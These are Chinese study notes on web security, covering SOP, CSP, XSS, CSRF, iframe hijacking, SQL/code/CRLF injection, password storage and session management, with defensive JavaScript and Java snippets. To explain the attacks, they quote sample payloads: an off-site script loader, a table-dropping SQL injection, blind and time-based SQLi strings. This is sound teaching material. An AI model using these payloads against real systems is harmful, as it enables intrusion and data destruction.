参考
安全世界观
web安全的兴起
web攻击技术经历几个阶段
- 服务器端动态脚本的安全问题
- sql注入的出现
- xss的出现
- web攻击思路从服务器到客户端
安全三要素
机密性confidentiality、完整性integrity、可用性availability
设计安全方案的原则
- secure by default原则:白名单
- 纵深原则:不同层面实施安全方案,避免疏漏; 正确的地方做正确的事
- 数据与代码分离原则(针对各种注入问题)
- 不可预测性原则:敏感数据不可预测
客户端安全
浏览器安全功能
-
同源策略Same Origin Policy(SOP)
限制来自不同源的脚本或document对当前document读取或设置某些属性。
浏览器中script、img、iframe等标签可以通过src属性跨域加载资源,不受同源策略的限制,对于src加载的资源,浏览器限制JavaScript不能读写。
XMLHttpRequest原本也根据同源策略限制跨域请求,因此后来W3C制定了新的请求:假设从http://www.a.com/test.html
发起一个跨域的XMLHttpRequest请求到http://www.b.com/test.php
,发起的请求HTTP投必须带上Origin
,而B站点服务器返回一个HTTP头包含Access-Control-Allow-Origin: http://www.a.com
,那么这个请求就会被通过
-
浏览器沙盒
浏览器发展出多进程架构,将各个功能模块分开,各个浏览器实例分开,提升了安全性。
Chrome是第一个采用多进程架构的浏览器,主要进程分为:浏览器进程、渲染进程、插件进程、扩展进程。
渲染引擎由沙盒隔离, 网页代码要与浏览器内核进程、操作系统通信,需要通过IPC channel,在其中会进行一些安全检查。这可以让不受信任的网页或JavaScript代码运行在一个受限的环境中,保护本地系统的安全。
Chrome每个标签页和扩展都在独立的沙盒内运行,在提高安全性的同时,一个标签页面的崩溃也不会导致其他标签页面被关闭,但由于过于占用内存,现在已经变成有些网页公用一个进程,它们和服务器保持共同的会话。 恶意网站拦截
浏览器周期性从从服务器获取恶意网站的黑名单,如果用户访问就弹出警告框-
Content Security Policy(CSP)
Firefox4推出Content Security Policy(CSP),后来被其他浏览器支持。
CSP的做法是,由服务器端返回一个Content-Security-Policy的HTTP头,在其中描述页面应该遵守的安全策略,让浏览器不再盲目信任服务器发送的所有内容,并且能让浏览器只执行或者渲染来自这些源的内容。
源的策略包括:-
script-src
控制了页面的脚本权限集合 -
connect-src
限制了可以连接到的源(通过XHR、WebSockets和EventSource) -
font-src
指定了可以提供web字体的源 -
frame-src
列出了可以作为页面帧嵌入的源 -
img-src
定义了可以加载图片的源 -
media-src
限制了允许发送视频和音频的源 -
object-src
允许控制Flash和其他插件 -
style-src
控制样式表的源
源列表接受4个关键词:
- none,不匹配任何内容
- self,值匹配当前源,不匹配其子域
- unsafe-inline,允许内联的JavaScript和CSS
- unsafe-eval,允许eval这样的文本到JavaScript的机制
例如:
Content-Security-Policy: default-src https://cdn.example.net; frame-src ‘none’;
如果想要从一个内容分发网络加载所有资源,而且已知不需要帧内容由于CSP配置规则比较复杂,在页面较多的情况下很难一个个配置,后期维护成本大,导致CSP没有很好的推广。
-
XSS
跨站脚本攻击,Cross Site Script为了和CSS区分所以叫XSS。
XSS攻击指,攻击者往Web页面里插入恶意html代码,当其它用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的目的。
XSS根据效果可以分成:
- 反射型XSS:简单把用户输入的数据反射给浏览器,例如诱使用户点击个恶意链接来达到攻击的目的
- 存储型XSS:把用户输入的数据存储到服务器,例如黑客发表包含恶意js代码的文章,发表后所有浏览文章的用户都会在他们的浏览器执行这段恶意代码
案例:
2011年,新浪微博XSS蠕虫事件:攻击者利用广场的一个反射性XSS URL,自动发送微博、私信,私信内容又带有该XSS URL,导致病毒式传播。百度空间、twitter等SNS网站都发生过类似事件。
被动扫描 vs 主动防御
- 被动扫描:把页面里所有元素都扫描一遍,看是否有有危险性的代码;但由于现在ajax的使用,经常会动态修改DOM元素,即使定期扫描,XSS也可以在定时器的间隔触发后销毁,没用且浪费性能。
- 主动防御:只要防御程序在其他代码之前运行,就可以对XSS攻击主动进行检测和拦截。
内联事件
例如在页面中需要用户输入图片的地址如<img src="{路径}" />
,但攻击者们可以通过引号提前关闭属性,并添加一个极易触发的内联事件如<img src="{路径" onload="alert('xss')}" />
。
防范思路
对于内联事件,还是遵循DOM事件模型:”捕获阶段->目标阶段->冒泡阶段“,如下图。
因此我们可以在捕获阶段进行检测,拦截目标阶段的事件的执行。
document.addEventListener('click', function(e) {
var element = e.target;
var code = element.getAttribute('onclick');
if (/xss/.test(code)) { // 拦截的策略判断
element.onclick = null; // 拦截内联事件,不影响冒泡
alert('拦截可疑事件: ' + code);
}
}, true);
除了onclick事件,还有其他很多内联事件如onload、onerror等,不同浏览器支持的也不一样,可以通过遍历document对象,来获取所有的内联事件名。
for(var item in document) {
if (/^on./.test(item)) { // 检测所有on*事件
document.addEventListener(item.substr(2), function(e) { // 添加监听需要去掉on
// ... 拦截策略等
}
}
}
除了on开头的事件外,还有一些特殊形式,其中<a href="javascript:"></a>
使用最为广泛和常见,这种就需要单独对待。
document.addEventListener(eventName.substr(2), function(e) {
//... 其他拦截策略
var element = e.target;
// 扫描 <a href="javascript:"> 的脚本
if (element.tagName == 'A' && element.protocol == 'javascript:') {
// ...
}
});
对于一些常用的事件如鼠标移动会非常频繁的调用,因此有必要考虑性能方面的优化。
一般来说内联事件在代码运行过程中并不会改变,因此对某个元素的特定事件,扫描一次后置个标志位,之后再次执行的话检测标志位后可以考虑是否直接跳过。
可疑模块
XSS最简单和常见的方法就是动态加载个站外的脚本,模拟代码如下:
<button id="btn">创建脚本</button>
<script>
btn.onclick = function() {
var el = document.createElement('script');
el.src = 'http://www.etherdream.com/xss/out.js';
// 也可以写成el.setAttriute('src','http://www.etherdream.com/xss/out.js');
document.body.appendChild(el);
};
</script>
防范思路
在HTML5中MutationEvent的DOMNodeInserted事件和DOM4提供的MutationObserver接口都可以检测插入的DOM元素。
var observer = new MutationObserver(function(mutations) {
console.log('MutationObserver:', mutations);
});
observer.observe(document, {
subtree: true,
childList: true
});
document.addEventListener('DOMNodeInserted', function(e) {
console.log('DOMNodeInserted:', e);
}, true);
MutationObserver能捕捉到在它之后页面加载的静态元素,但它不是每次有新元素时调用,而是一次性传一段时间内的所有元素。
而DOMNodeInserted不关心静态元素,但能捕捉动态添加的元素,而且是在MutationObserver之前调用。
对于静态脚本,可以通过MutationObserver来检测和拦截,但对不同的浏览器拦截结果不同,在Firefox上还是会执行。
对于动态脚本,DOMNodeInserted的优先级比MutationObserver高,但也只能检测却无法拦截脚本的执行。
既然无法通过监测DOM元素挂载来拦截动态脚本执行,那么讲检测手段提前,对于动态创建脚本,赋予src属性必不可少,因此我们可以通过监测属性赋值来进行拦截。
检测属性赋值可以通过MutationObserver或DOMAttrModified事件,但对于先赋值再插入元素的情况来说,由于赋值时元素还没插入,因此事件回调并不会被调用。
除了事件外还可以通过重写Setter访问器,在修改属性时触发函数调用。
var raw_setter = HTMLScriptElement.prototype.__lookupSetter__('src');
HTMLScriptElement.prototype.__defineSetter__('src', function(url) {
if (/xss/.test(url)) {
return;
}
raw_setter.call(this, url);
});
对于setAttribute来修改属性的情况同样需要一定的防护,通过改写setAttribute。
// 保存原有接口
var old_setAttribute = window.Element.prototype.setAttribute;
// 重写 setAttribute 接口
window.Element.prototype.setAttribute = function(name, value) {
// 匹配到 <script src='xxx' > 类型
if (this.tagName == 'SCRIPT' && /^src$/i.test(name)) {
// 拦截策略
if (/xss/.test(value)) {
console.log('拦截可疑setAttribute:', value);
report('拦截可疑setAttribute', value);
return;
}
}
// 调用原始接口
old_setAttribute.apply(this, arguments);
};
总结
CSRF
跨站点伪造请求,Cross-Site Request Forgery(CSRF)
攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点,从而在未授权的情况下执行在权限保护之下的操作,具有很大的危害性。
- 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A
- 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A
- 用户未退出网站A之前,在同一浏览器中,打开一个标签页访问网站B
- 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A
- 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求
- 网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行
CSRF防御
- 验证码
CSRF攻击往往在用户不知情的情况下构造网络请求,验证码强制要求用户进行交互才能完成请求,因此能遏制CSRF攻击;但用户体验较差。 - Referer Check
在HTTP头中有一个字段叫Referer,它记录了该HTTP请求的来源地址。通过检查Referer是否合法来判断用户是否被CSRF攻击;但服务器并非什么时候都能取到Referer。 - Token
CSRF本质是所有参数都是被攻击者可以猜测的。出于这个原因把参数加密,或使用随机数,从而让攻击者无法猜测到参数值,这也是“不可预测性原则”的一个应用;但当网站同时存在XSS漏洞时,XSS可以模拟客户端读取token值,再构造合法请求,这过程又被称为XSRF。
HTTP劫持
HTTP劫持大多数情况是运营商HTTP劫持,当我们使用HTTP请求请求一个网站页面的时候,网络运营商会在正常的数据流中插入精心设计的网络数据报文,让浏览器展示错误 的数据,通常是一些弹窗,宣传性广告或者直接显示某网站的内容。通常网络运营商为了尽可能地减少植入广告对原有网站页面的影响,通常会通过把原有网站页面放置到一个和原页面相同大小的 iframe 里面去,那么就可以通过这个 iframe 来隔离广告代码对原有页面的影响。
// 建立白名单
var whiteList = [
'www.aaa.com',
'res.bbb.com'
];
if (self != top) {
var
// 使用 document.referrer 可以拿到跨域 iframe 父页面的 URL
parentUrl = document.referrer,
length = whiteList.length,
i = 0;
for(; i<length; i++){
// 建立白名单正则
var reg = new RegExp(whiteList[i],'i');
// 存在白名单中,放行
if(reg.test(parentUrl)){
return;
}
}
// 我们的正常页面
var url = location.href;
// 父级页面重定向
top.location = url;
}
虽然重定向了父页面,但是在重定向的过程中,既然第一次可以嵌套,那么这一次重定向的过程中页面也许又被 iframe 嵌套了。
这种劫持通常也是有迹可循,最常规的手段是在页面 URL 中设置一个参数,例如 http://www.example.com/index.html?iframe_hijack_redirected=1 ,其中 iframe_hijack_redirected=1
表示页面已经被劫持过了,就不再嵌套 iframe 了。所以根据这个特性,我们可以改写我们的 URL ,使之看上去已经被劫持了
var flag = 'iframe_hijack_redirected';
// 当前页面存在于一个 iframe 中
// 此处需要建立一个白名单匹配规则,白名单默认放行
if (self != top) {
var
// 使用 document.referrer 可以拿到跨域 iframe 父页面的 URL
parentUrl = document.referrer,
length = whiteList.length,
i = 0;
for(; i<length; i++){
// 建立白名单正则
var reg = new RegExp(whiteList[i],'i');
// 存在白名单中,放行
if(reg.test(parentUrl)){
return;
}
}
var url = location.href;
var parts = url.split('#');
if (location.search) {
parts[0] += '&' + flag + '=1';
} else {
parts[0] += '?' + flag + '=1';
}
try {
console.log('页面被嵌入iframe中:', url);
top.location.href = parts.join('#');
} catch (e) {}
}
HTML5安全
新标签的XSS
HTML5定义了很多新标签和新事件,可能带来新的XSS攻击,比如video、audio。
iframe的sandbox
HTML5中iframe有个新的属性sandbox,使用这个属性后iframe加载的内容被视为一个独立的源,其中的脚本、表单、插件和指向其他浏览对象的插件都会被禁止。
可以通过参数来更精确的控制:
- allow-same-origin: 允许将内容作为普通来源对待。如果未使用该关键字,嵌入的内容将被视为一个独立的源。
- allow-top-navigation:嵌入的页面的上下文可以导航(加载)内容到顶级的浏览上下文环境(browsing context)。如果未使用该关键字,这个操作将不可用。
- allow-forms: 允许嵌入的浏览上下文可以提交表单。如果该关键字未使用,该操作将不可用。
- allow-scripts: 允许嵌入的浏览上下文运行脚本(但不能window创建弹窗)。如果该关键字未使用,这项操作不可用。
link的noreferrer
HTML5中为<a>
标签定义了一个新的link types:noreferrer
<a href="xxx" rel="noreferrer">test</a>
标签指定noreferrer后,浏览器在请求该标签指定的地址时将不再发送referrer,保护敏感信息和隐私。
postMessage 跨窗口传递消息
HTML5中制定了新的API:postMessage,允许每一个window(包括弹出窗口、iframe等)对象往其他窗口发送文本消息,而且不受同源策略限制的。
// 发送窗口
<input type="text" id="message" value="send message"/>
<button id="button">发送</button>
<iframe id="iframe" height="800" width="100%" src="./index.html"></iframe>
<script>
var win=document.getElementById("iframe").contentWindow;
document.getElementById("button").onclick=function(){
// 发送消息
win.postMessage(document.getElementById("message").value,"http://localhost:3000/");
};
</script>
// 接收窗口
<input type="text" id="inputMessage"/>
<script>
window.addEventListener("message", function(e) { // 绑定message事件,监听其他窗口发来的消息
// 为了安全性可以添加对domain的验证;接收窗口应该不信任接收到的消息,对其进行安全检查
document.getElementById("inputMessage").value=e.origin+e.data;
}, false);
</script>
服务器端安全
注入攻击
注入攻击是web安全中最为常见的攻击方式,XSS本质上也是一种HTML的注入攻击。
注入攻击有两个条件:用户能够控制数据的输入;代码拼凑了用户输入的数据,把数据当做代码执行。
例如:sql = "select * from OrdersTable where ShipCity='"+ShipCity+"'"
,其中ShipCity
是用户输入的内容,如果用户输入为Beijing'; drop table OrdersTable--
,那么实际执行的SQL语句为select * from OrdersTable where ShipCIty='Beijing'; drop table OrdersTable--'
(--为单行注释)
如果web服务器开启了错误回显,会为攻击者提供极大的便利,从错误回显中获取敏感信息。
盲注
即使关闭错误回显,攻击者也可以通过盲注技巧来实施SQL注入攻击。
盲注是指服务器关闭错误回显完成的注入攻击,最常见的方法是构造简单的条件语句,根据返回页面是否变化来判断sql语句是否得到执行。
例如:
应用的url为http://newspaper.com/items.php?id=2
执行的语句为select * from items where id=2
如果攻击者构造条件语句为http://newspaper.com/items.php?id=2 and 1=2
,看到的页面结果将是空或者错误页面。
但还需要进一步判断注入是否存在,需要再次验证这个过程。因为在攻击者构造异常请求时,也可能导致页面返回不正常。所以还需要构造http://newspaper.com/items.php?id=2 and 1=1
如果页面正常返回,则证明and执行成功,id参数存在SQL注入漏洞。
timing attack
盲注的高级技巧,根据函数事件长短的变化,判断注入语句是否执行成功。
例如:
2011年TinKode入侵mysql.com,漏洞出现在http://mysql.com/customers/view/index.html?id=1170
,利用mysql中的benchmark函数,让同一个函数执行若干次,使得结果返回的比平时要长。构造的攻击参数为1170 union select if(substring(current,1,1)=char(119), benchmark(500000,encode('msg','by 5 seconds')),null) from (select database() as current) as tbl;
,这段语句是判断数据库名第一个字母是否为w。如果判断为真,返回延时较长。攻击者遍历所有字母,直到将整个数据库名全部验证为止。
防御SQL注入
要防御SQL注入:
- 找到所有sql注入的漏洞
- 修补这些漏洞
防御SQL注入最有效的方法,就是使用预编译语言,绑定变量。
例如Java中预编译的SQL语句:
String sql = "select account_balance from user_data where user_name=?“;
PreparedStatement ps = connection.prepareStatement(sql);
ps.setString(1, userInput); // userInput是用户输入的内容
ResultSet results = ps.executeQuert();
使用预编译的SQL语句,SQL语句的语义不会发生改变,攻击者无法改变SQL的结构。
其他注入
XML注入
和SQL注入类似,防御方法也类似,对用户输入数据中包含的“语言本身的保留字符”进行转义。
代码注入
代码注入往往是由一些不安全的函数或方法引起的,常见于脚本语言,最典型的的代表是eval()。
对抗代码注入,需要禁用eval()等可以执行的函数,如果一定要使用,就要对用户输入的数据进行处理。
CRLF注入
CR指\r
,LF指\n
,这两个字符用于换行,被用作不同语义之间的分隔符,因此通过CRLF字符注入,可以改变原有的语义。
例如,HTTP头是通过\r\n
来分割的,在HTTP头中注入两次\r\n
,后面跟着的是HTTP Body,可以构造恶意脚本从而得以执行。
CRLF防御方案非常简单,只需要处理好\r
、\n
两个字符就好。
认证与会话管理
认证是为了认出用户是谁(who am I),授权是为了决定用户能够做什么(what can I do)。
密码
密码是最常见的一种认证手段。
优点:使用成本低,认证过程简单。
缺点:比较弱的安全方案,没有标准的密码策略。
密码策略:密码长度、密码复杂度(大写、小写、数字、符号中两种以上的组合;不要有连续性或重复的字符)、不要使用用户公开或隐私相关的数据。
目前黑客常用的暴力破解手段是选一些弱口令,然后猜解用户名,直到发现一个使用弱口令的账号为止。由于用户名是公开的,这种攻击成本低,而效果比暴力破解密码要好很多。
密码保存也需要注意:密码必须以不可逆的加密算法,或者是单向散列函数算法,加密后存储到数据库中,尽最大可能保证密码私密性。例如2011年CSDN密码泄露事件。
现在比较普遍的方法是将明文密码经过哈希(例如MD5或SHA-1)后保存到数据库中,在登录时验证用户提交的密码哈希值与保存在数据库中的密码哈希值是否一致。
目前黑客们广泛使用破解MD5密码的方法是彩虹表,即收集尽可能多的明文和对应的MD5值,这样只需要查询MD5就能找到对应的明文。这种方法表可能非常庞大,但确实有效。
为了避免密码哈希值泄露后能通过彩虹表查出密码明文,在计算密码明文的哈希值时增加一个“salt”字符串,增加明文复杂度,防止彩虹表。salt应该存在服务器端配置文件中。
多因素认证
大多数网上银行和支付平台都会采取多因素认证,除了密码外,手机动态口令、数字证书、支付盾、第三方证书都可以用于用户认证,使认证过程更安全,提高攻击门槛。
session和认证
密码与证书等一般仅用于登陆的过程,当认证完成后,服务器创建一个新的会话,保存用户状态和相关信息,根据sessionID区分不同的用户。
一般sessionID加密后保存在cookie中,因为cookie会随着HTTP请求头一起发送,且受到浏览器同源策略的保护。但cookie泄露途径很多比如XSS攻击,一旦sessionID在生命周期内被窃取就等同于账户失窃。
除了在cookie中,sessionID还可以保存在URL中作为一个请求的参数,但这种安全性非常差。
如果sessionID保存在URL中,可能有session fixation攻击,即攻击者获取到一个未经认证的sessionID,将这个sessionID交给用户认证,用户认证完后服务器未更新这个sessionID,所以攻击者可以用这个sessionID登陆进用户的账户。解决session fixation攻击的方法是,登陆完成后,重写sessionID。
如果攻击者窃取了用户的sessionID,可以通过不停的发访问请求,让session一直保持活着的状态。对抗方法过一段时间强制销毁session,或者当客户端发生变化时强制销毁session。
single sign on
单点登录,即用户只需要登录一次,就可以访问所有系统。
优点:风险集中化,对用户来说更方便;缺点:一旦被攻破后果严重。
访问控制
权限操作,指某个主体对某个客体需要实施某种操作,系统对这种操作的限制。
在网络应用中,根据访问客体的不同,常见的访问控制可以分为:基于URL、基于方法和基于数据。
访问控制实际上是建立用户与权限的对应关系,现在广泛应用的方法是基于角色的访问控制(Role-based Access Control),RBAC事先会在系统中定义不同的角色,不同的角色拥有不同的权限,所有用户会被分配到不同的角色,一个用户可以拥有多个角色。在系统验证权限时,只需要验证用户所属的角色,就可以根据角色所拥有的权限进行授权了。